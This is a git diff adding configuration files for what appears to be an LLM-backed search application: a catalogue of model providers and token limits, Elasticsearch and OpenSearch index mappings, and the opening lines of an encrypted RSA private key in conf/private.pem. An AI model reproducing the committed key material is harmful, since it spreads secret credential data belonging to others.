"whitespace-#"}, + "entity_type_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}, + "source_id": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}, + "n_hop_with_weight": {"type": "varchar", "default": ""}, + "removed_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"}, + + "doc_type_kwd": {"type": "varchar", "default": "", "analyzer": "whitespace-#"} +} diff --git a/conf/llm_factories.json b/conf/llm_factories.json new file mode 100644 index 0000000..e6b82f4 --- /dev/null +++ b/conf/llm_factories.json @@ -0,0 +1,5150 @@ +{ + "factory_llm_infos": [ + { + "name": "OpenAI", + "logo": "", + "tags": "LLM,TEXT EMBEDDING,TTS,TEXT RE-RANK,SPEECH2TEXT,MODERATION", + "status": "1", + "llm": [ + { + "llm_name": "gpt-5", + "tags": "LLM,CHAT,400k,IMAGE2TEXT", + "max_tokens": 400000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-5-mini", + "tags": "LLM,CHAT,400k,IMAGE2TEXT", + "max_tokens": 400000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-5-nano", + "tags": "LLM,CHAT,400k,IMAGE2TEXT", + "max_tokens": 400000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-5-chat-latest", + "tags": "LLM,CHAT,400k,IMAGE2TEXT", + "max_tokens": 400000, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "gpt-4.1", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1047576, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-4.1-mini", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1047576, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-4.1-nano", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1047576, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-4.5-preview", + "tags": "LLM,CHAT,128K", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "o3", + "tags": "LLM,CHAT,200K,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "o4-mini", + "tags": "LLM,CHAT,200K,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "o4-mini-high", + "tags": "LLM,CHAT,200K,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-4o-mini", + "tags": "LLM,CHAT,128K,IMAGE2TEXT", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-4o", + "tags": "LLM,CHAT,128K,IMAGE2TEXT", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-3.5-turbo", + "tags": "LLM,CHAT,4K", + "max_tokens": 4096, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "gpt-3.5-turbo-16k-0613", + "tags": "LLM,CHAT,16k", + "max_tokens": 16385, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "text-embedding-ada-002", + "tags": "TEXT EMBEDDING,8K", + "max_tokens": 8191, + "model_type": "embedding", + "is_tools": false + }, + { + "llm_name": "text-embedding-3-small", + "tags": "TEXT EMBEDDING,8K", + "max_tokens": 8191, + "model_type": "embedding", + "is_tools": false + }, + { + "llm_name": "text-embedding-3-large", + "tags": "TEXT EMBEDDING,8K", + "max_tokens": 8191, + "model_type": "embedding", + "is_tools": false + }, + { + "llm_name": "whisper-1", + "tags": "SPEECH2TEXT", + "max_tokens": 26214400, + "model_type": "speech2text", + "is_tools": false + }, + { + "llm_name": "gpt-4", + "tags": "LLM,CHAT,8K", + "max_tokens": 8191, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "gpt-4-turbo", + "tags": "LLM,CHAT,8K", + "max_tokens": 8191, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-4-32k", + "tags": "LLM,CHAT,32K", + "max_tokens": 32768, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "tts-1", + "tags": "TTS", + "max_tokens": 2048, + "model_type": "tts", + "is_tools": false + } + ] + }, + { + "name": "xAI", + "logo": "", + "tags": "LLM", + "status": "1", + "llm": [ + { + "llm_name": "grok-4", + "tags": "LLM,CHAT,256k", + "max_tokens": 256000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-3", + "tags": "LLM,CHAT,130k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-3-fast", + "tags": "LLM,CHAT,130k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-3-mini", + "tags": "LLM,CHAT,130k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-3-mini-mini-fast", + "tags": "LLM,CHAT,130k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-2-vision", + "tags": "LLM,CHAT,IMAGE2TEXT,32k", + "max_tokens": 32768, + "model_type": "image2text", + "is_tools": true + } + ] + }, + { + "name": "TokenPony", + "logo": "", + "tags": "LLM", + "status": "1", + "llm": [ + { + "llm_name": "qwen3-8b", + "tags": "LLM,CHAT,131k", + "max_tokens": 131000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-v3-0324", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-32b", + "tags": "LLM,CHAT,131k", + "max_tokens": 131000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "kimi-k2-instruct", + "tags": "LLM,CHAT,128K", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-r1-0528", + "tags": "LLM,CHAT,164k", + "max_tokens": 164000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-coder-480b", + "tags": "LLM,CHAT,1024k", + "max_tokens": 1024000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "glm-4.5", + "tags": "LLM,CHAT,131K", + "max_tokens": 131000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-v3.1", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + } + ] + }, + { + "name": "Tongyi-Qianwen", + "logo": "", + "tags": "LLM,TEXT EMBEDDING,TEXT RE-RANK,TTS,SPEECH2TEXT,MODERATION", + "status": "1", + "llm": [ + { + "llm_name": "Moonshot-Kimi-K2-Instruct", + "tags": "LLM,CHAT,128K", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-r1", + "tags": "LLM,CHAT,64K", + "max_tokens": 65792, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "deepseek-v3", + "tags": "LLM,CHAT,64K", + "max_tokens": 65792, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "deepseek-r1-distill-qwen-1.5b", + "tags": "LLM,CHAT,32K", + "max_tokens": 32768, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "deepseek-r1-distill-qwen-7b", + "tags": "LLM,CHAT,32K", + "max_tokens": 32768, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "deepseek-r1-distill-qwen-14b", + "tags": "LLM,CHAT,32K", + "max_tokens": 32768, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "deepseek-r1-distill-qwen-32b", + "tags": "LLM,CHAT,32K", + "max_tokens": 32768, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "deepseek-r1-distill-llama-8b", + "tags": "LLM,CHAT,32K", + "max_tokens": 32768, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "deepseek-r1-distill-llama-70b", + "tags": "LLM,CHAT,32K", + "max_tokens": 32768, + "model_type": "chat", + "is_tools": false + }, + { + "llm_name": "qwq-32b", + "tags": "LLM,CHAT,128k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwq-plus", + "tags": "LLM,CHAT,132k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-plus-2025-07-28", + "tags": "LLM,CHAT,132k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-plus-2025-07-14", + "tags": "LLM,CHAT,132k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwq-plus-latest", + "tags": "LLM,CHAT,132k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-flash", + "tags": "LLM,CHAT,1M", + "max_tokens": 1000000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-flash-2025-07-28", + "tags": "LLM,CHAT,1M", + "max_tokens": 1000000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-max", + "tags": "LLM,CHAT,256k", + "max_tokens": 256000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-coder-480b-a35b-instruct", + "tags": "LLM,CHAT,256k", + "max_tokens": 256000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-30b-a3b-instruct-2507", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-30b-a3b-thinking-2507", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-30b-a3b", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-vl-plus", + "tags": "LLM,CHAT,IMAGE2TEXT,256k", + "max_tokens": 256000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "qwen3-vl-235b-a22b-instruct", + "tags": "LLM,CHAT,IMAGE2TEXT,128k", + "max_tokens": 128000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "qwen3-vl-235b-a22b-thinking", + "tags": "LLM,CHAT,IMAGE2TEXT,128k", + "max_tokens": 128000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "qwen3-235b-a22b-instruct-2507", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-235b-a22b-thinking-2507", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-235b-a22b", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-next-80b-a3b-instruct", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-next-80b-a3b-thinking", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-0.6b", + "tags": "LLM,CHAT,32k", + "max_tokens": 32000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-1.7b", + "tags": "LLM,CHAT,32k", + "max_tokens": 32000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-4b", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-8b", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-14b", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-32b", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-long", + "tags": "LLM,CHAT,10000K", + "max_tokens": 1000000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-turbo", + "tags": "LLM,CHAT,1M", + "max_tokens": 1000000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-turbo-2025-04-28", + "tags": "LLM,CHAT,1M", + "max_tokens": 1000000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-turbo-latest", + "tags": "LLM,CHAT,1M", + "max_tokens": 1000000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-max", + "tags": "LLM,CHAT,32K", + "max_tokens": 32768, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-plus", + "tags": "LLM,CHAT,132k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen-plus-2025-04-28", + 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200000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "claude-opus-4-1-20250805", + "tags": "LLM,CHAT,200k,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "claude-opus-4-1-20250805-thinking", + "tags": "LLM,CHAT,200k,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "claude-sonnet-4-20250514", + "tags": "LLM,CHAT,200k,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "claude-sonnet-4-20250514-thinking", + "tags": "LLM,CHAT,200k,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "claude-3-7-sonnet-latest", + "tags": "LLM,CHAT,200k", + "max_tokens": 200000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "claude-3-5-haiku-latest", + "tags": "LLM,CHAT,200k", + "max_tokens": 200000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gemini-2.5-pro", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1000000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "gemini-2.5-flash", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1000000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "gemini-2.5-flash-lite", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1000000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "gemini-2.0-flash", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1000000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "grok-4-0709", + "tags": "LLM,CHAT,131k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-3", + "tags": "LLM,CHAT,131k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-3-mini", + "tags": "LLM,CHAT,131k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-2-image-1212", + "tags": "LLM,CHAT,32k,IMAGE2TEXT", + "max_tokens": 32768, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "deepseek-v3.1", + "tags": "LLM,CHAT,64k", + "max_tokens": 64000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-v3", + "tags": "LLM,CHAT,64k", + "max_tokens": 64000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-r1-0528", + "tags": "LLM,CHAT,164k", + "max_tokens": 164000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-chat", + "tags": "LLM,CHAT,32k", + "max_tokens": 32000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-reasoner", + "tags": "LLM,CHAT,64k", + "max_tokens": 64000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-30b-a3b", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-coder-plus-2025-07-22", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "text-embedding-ada-002", + "tags": "TEXT EMBEDDING,8K", + "max_tokens": 8191, + "model_type": "embedding", + "is_tools": false + }, + { + "llm_name": "text-embedding-3-small", + "tags": "TEXT EMBEDDING,8K", + "max_tokens": 8191, + "model_type": "embedding", + "is_tools": false + }, + { + "llm_name": "text-embedding-3-large", + "tags": "TEXT EMBEDDING,8K", + "max_tokens": 8191, + "model_type": "embedding", + "is_tools": false + }, + { + "llm_name": "whisper-1", + "tags": "SPEECH2TEXT", + "max_tokens": 26214400, + "model_type": "speech2text", + "is_tools": false + }, + { + "llm_name": "tts-1", + "tags": "TTS", + "max_tokens": 2048, + "model_type": "tts", + "is_tools": false + } + ] + }, + { + "name": "Meituan", + "logo": "", + "tags": "LLM", + "status": "1", + "llm": [ + { + "llm_name": "LongCat-Flash-Chat", + "tags": "LLM,CHAT,8000", + "max_tokens": 8000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "LongCat-Flash-Thinking", + "tags": "LLM,CHAT,8000", + "max_tokens": 8000, + "model_type": "chat", + "is_tools": true + } + ] + }, + { + "name": "DeerAPI", + "logo": "", + "tags": "LLM,TEXT EMBEDDING,IMAGE2TEXT", + "status": "1", + "llm": [ + { + "llm_name": "gpt-5-chat-latest", + "tags": "LLM,CHAT,400k", + "max_tokens": 400000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "chatgpt-4o-latest", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-5-mini", + "tags": "LLM,CHAT,400k", + "max_tokens": 400000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-5-nano", + "tags": "LLM,CHAT,400k", + "max_tokens": 400000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-5", + "tags": "LLM,CHAT,400k", + "max_tokens": 400000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-4.1-mini", + "tags": "LLM,CHAT,1M", + "max_tokens": 1047576, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-4.1-nano", + "tags": "LLM,CHAT,1M", + "max_tokens": 1047576, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-4.1", + "tags": "LLM,CHAT,1M", + "max_tokens": 1047576, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gpt-4o-mini", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "o4-mini-2025-04-16", + "tags": "LLM,CHAT,200k", + "max_tokens": 200000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "o3-pro-2025-06-10", + "tags": "LLM,CHAT,200k", + "max_tokens": 200000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "claude-opus-4-1-20250805", + "tags": "LLM,CHAT,200k,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "claude-opus-4-1-20250805-thinking", + "tags": "LLM,CHAT,200k,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "claude-sonnet-4-20250514", + "tags": "LLM,CHAT,200k,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "claude-sonnet-4-20250514-thinking", + "tags": "LLM,CHAT,200k,IMAGE2TEXT", + "max_tokens": 200000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "claude-3-7-sonnet-latest", + "tags": "LLM,CHAT,200k", + "max_tokens": 200000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "claude-3-5-haiku-latest", + "tags": "LLM,CHAT,200k", + "max_tokens": 200000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "gemini-2.5-pro", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1000000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "gemini-2.5-flash", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1000000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "gemini-2.5-flash-lite", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1000000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "gemini-2.0-flash", + "tags": "LLM,CHAT,1M,IMAGE2TEXT", + "max_tokens": 1000000, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "grok-4-0709", + "tags": "LLM,CHAT,131k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-3", + "tags": "LLM,CHAT,131k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-3-mini", + "tags": "LLM,CHAT,131k", + "max_tokens": 131072, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "grok-2-image-1212", + "tags": "LLM,CHAT,32k,IMAGE2TEXT", + "max_tokens": 32768, + "model_type": "image2text", + "is_tools": true + }, + { + "llm_name": "deepseek-v3.1", + "tags": "LLM,CHAT,64k", + "max_tokens": 64000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-v3", + "tags": "LLM,CHAT,64k", + "max_tokens": 64000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-r1-0528", + "tags": "LLM,CHAT,164k", + "max_tokens": 164000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-chat", + "tags": "LLM,CHAT,32k", + "max_tokens": 32000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "deepseek-reasoner", + "tags": "LLM,CHAT,64k", + "max_tokens": 64000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-30b-a3b", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "qwen3-coder-plus-2025-07-22", + "tags": "LLM,CHAT,128k", + "max_tokens": 128000, + "model_type": "chat", + "is_tools": true + }, + { + "llm_name": "text-embedding-ada-002", + "tags": "TEXT EMBEDDING,8K", + "max_tokens": 8191, + "model_type": "embedding", + "is_tools": false + }, + { + "llm_name": "text-embedding-3-small", + "tags": "TEXT EMBEDDING,8K", + "max_tokens": 8191, + "model_type": "embedding", + "is_tools": false + }, + { + "llm_name": "text-embedding-3-large", + "tags": "TEXT EMBEDDING,8K", + "max_tokens": 8191, + "model_type": "embedding", + "is_tools": false + }, + { + "llm_name": "whisper-1", + "tags": "SPEECH2TEXT", + "max_tokens": 26214400, + "model_type": "speech2text", + "is_tools": false + }, + { + "llm_name": "tts-1", + "tags": "TTS", + "max_tokens": 2048, + "model_type": "tts", + "is_tools": false + } + ] + } + ] +} \ No newline at end of file diff --git a/conf/mapping.json b/conf/mapping.json new file mode 100644 index 0000000..f32acb0 --- /dev/null +++ b/conf/mapping.json @@ -0,0 +1,212 @@ +{ + "settings": { + "index": { + "number_of_shards": 2, + "number_of_replicas": 0, + "refresh_interval": "1000ms" + }, + "similarity": { + "scripted_sim": { + "type": "scripted", + "script": { + "source": "double idf = Math.log(1+(field.docCount-term.docFreq+0.5)/(term.docFreq + 0.5))/Math.log(1+((field.docCount-0.5)/1.5)); return query.boost * idf * Math.min(doc.freq, 1);" + } + } + } + }, + "mappings": { + "properties": { + "lat_lon": { + "type": "geo_point", + "store": "true" + } + }, + "date_detection": "true", + "dynamic_templates": [ + { + "int": { + "match": "*_int", + "mapping": { + "type": "integer", + "store": "true" + } + } + }, + { + "ulong": { + "match": "*_ulong", + "mapping": { + "type": "unsigned_long", + "store": "true" + } + } + }, + { + "long": { + "match": "*_long", + "mapping": { + "type": "long", + "store": "true" + } + } + }, + { + "short": { + "match": "*_short", + "mapping": { + "type": "short", + "store": "true" + } + } + }, + { + "numeric": { + "match": "*_flt", + "mapping": { + "type": "float", + "store": true + } + } + }, + { + "tks": { + "match": "*_tks", + "mapping": { + "type": "text", + "similarity": "scripted_sim", + "analyzer": "whitespace", + "store": true + } + } + }, + { + "ltks": { + "match": "*_ltks", + "mapping": { + "type": "text", + "analyzer": "whitespace", + "store": true + } + } + }, + { + "kwd": { + "match_pattern": "regex", + "match": "^(.*_(kwd|id|ids|uid|uids)|uid)$", + "mapping": { + "type": "keyword", + "similarity": "boolean", + "store": true + } + } + }, + { + "dt": { + "match_pattern": "regex", + "match": "^.*(_dt|_time|_at)$", + "mapping": { + "type": "date", + "format": "yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||yyyy-MM-dd_HH:mm:ss", + "store": true + } + } + }, + { + "nested": { + "match": "*_nst", + "mapping": { + "type": "nested" + } + } + }, + { + "object": { + "match": "*_obj", + "mapping": { + "type": "object", + "dynamic": "true" + } + } + }, + { + "string": { + "match_pattern": "regex", + "match": "^.*_(with_weight|list)$", + "mapping": { + "type": "text", + "index": "false", + "store": true + } + } + }, + { + "rank_feature": { + "match": "*_fea", + "mapping": { + "type": "rank_feature" + } + } + }, + { + "rank_features": { + "match": "*_feas", + "mapping": { + "type": "rank_features" + } + } + }, + { + "dense_vector": { + "match": "*_512_vec", + "mapping": { + "type": "dense_vector", + "index": true, + "similarity": "cosine", + "dims": 512 + } + } + }, + { + "dense_vector": { + "match": "*_768_vec", + "mapping": { + "type": "dense_vector", + "index": true, + "similarity": "cosine", + "dims": 768 + } + } + }, + { + "dense_vector": { + "match": "*_1024_vec", + "mapping": { + "type": "dense_vector", + "index": true, + "similarity": "cosine", + "dims": 1024 + } + } + }, + { + "dense_vector": { + "match": "*_1536_vec", + "mapping": { + "type": "dense_vector", + "index": true, + "similarity": "cosine", + "dims": 1536 + } + } + }, + { + "binary": { + "match": "*_bin", + "mapping": { + "type": "binary" + } + } + } + ] + } +} \ No newline at end of file diff --git a/conf/os_mapping.json b/conf/os_mapping.json new file mode 100644 index 0000000..a8663e0 --- /dev/null +++ b/conf/os_mapping.json @@ -0,0 +1,213 @@ +{ + "settings": { + "index": { + "number_of_shards": 2, + "number_of_replicas": 0, + "refresh_interval": "1000ms", + "knn": true, + "similarity": { + "scripted_sim": { + "type": "scripted", + "script": { + "source": "double idf = Math.log(1+(field.docCount-term.docFreq+0.5)/(term.docFreq + 0.5))/Math.log(1+((field.docCount-0.5)/1.5)); return query.boost * idf * Math.min(doc.freq, 1);" + } + } + } + } + }, + "mappings": { + "properties": { + "lat_lon": { + "type": "geo_point", + "store": "true" + } + }, + "date_detection": "true", + "dynamic_templates": [ + { + "int": { + "match": "*_int", + "mapping": { + "type": "integer", + "store": "true" + } + } + }, + { + "ulong": { + "match": "*_ulong", + "mapping": { + "type": "unsigned_long", + "store": "true" + } + } + }, + { + "long": { + "match": "*_long", + "mapping": { + "type": "long", + "store": "true" + } + } + }, + { + "short": { + "match": "*_short", + "mapping": { + "type": "short", + "store": "true" + } + } + }, + { + "numeric": { + "match": "*_flt", + "mapping": { + "type": "float", + "store": true + } + } + }, + { + "tks": { + "match": "*_tks", + "mapping": { + "type": "text", + "similarity": "scripted_sim", + "analyzer": "whitespace", + "store": true + } + } + }, + { + "ltks": { + "match": "*_ltks", + "mapping": { + "type": "text", + "analyzer": "whitespace", + "store": true + } + } + }, + { + "kwd": { + "match_pattern": "regex", + "match": "^(.*_(kwd|id|ids|uid|uids)|uid)$", + "mapping": { + "type": "keyword", + "similarity": "boolean", + "store": true + } + } + }, + { + "dt": { + "match_pattern": "regex", + "match": "^.*(_dt|_time|_at)$", + "mapping": { + "type": "date", + "format": "yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||yyyy-MM-dd_HH:mm:ss", + "store": true + } + } + }, + { + "nested": { + "match": "*_nst", + "mapping": { + "type": "nested" + } + } + }, + { + "object": { + "match": "*_obj", + "mapping": { + "type": "object", + "dynamic": "true" + } + } + }, + { + "string": { + "match_pattern": "regex", + "match": "^.*_(with_weight|list)$", + "mapping": { + "type": "text", + "index": "false", + "store": true + } + } + }, + { + "rank_feature": { + "match": "*_fea", + "mapping": { + "type": "rank_feature" + } + } + }, + { + "rank_features": { + "match": "*_feas", + "mapping": { + "type": "rank_features" + } + } + }, + { + "knn_vector": { + "match": "*_512_vec", + "mapping": { + "type": "knn_vector", + "index": true, + "space_type": "cosinesimil", + "dimension": 512 + } + } + }, + { + "knn_vector": { + "match": "*_768_vec", + "mapping": { + "type": "knn_vector", + "index": true, + "space_type": "cosinesimil", + "dimension": 768 + } + } + }, + { + "knn_vector": { + "match": "*_1024_vec", + "mapping": { + "type": "knn_vector", + "index": true, + "space_type": "cosinesimil", + "dimension": 1024 + } + } + }, + { + "knn_vector": { + "match": "*_1536_vec", + "mapping": { + "type": "knn_vector", + "index": true, + "space_type": "cosinesimil", + "dimension": 1536 + } + } + }, + { + "binary": { + "match": "*_bin", + "mapping": { + "type": "binary" + } + } + } + ] + } +} \ No newline at end of file diff --git a/conf/private.pem b/conf/private.pem new file mode 100644 index 0000000..ff33305 --- /dev/null +++ b/conf/private.pem @@ -0,0 +1,30 @@ +-----BEGIN RSA PRIVATE KEY----- +Proc-Type: 4,ENCRYPTED +DEK-Info: DES-EDE3-CBC,EFF8327C41E531AD + +7jdPFDAA6fiTzOIU7XGzKuT324JKZEcK5vBRJqBkA5XO6ENN1wLdhh3zQbl1Ejfv +KMSUIgbtQEJB4bvOzS//okbZa1vCNYuTS/NGcpKUnhqdOmAL3hl/kOtOLLjTZrwo +3KX8iujLH7wQ64GxArtpUuaFq1k0whN1BB5RGJp3IO/L6pMpSWVRKO+JPUrD1Ujr +XA/LUKQJaZtXVUVOYPtIwbyqPsh93QBetJnRwwV3gNOwGpcX2jDpyTxDUkLJCPPg 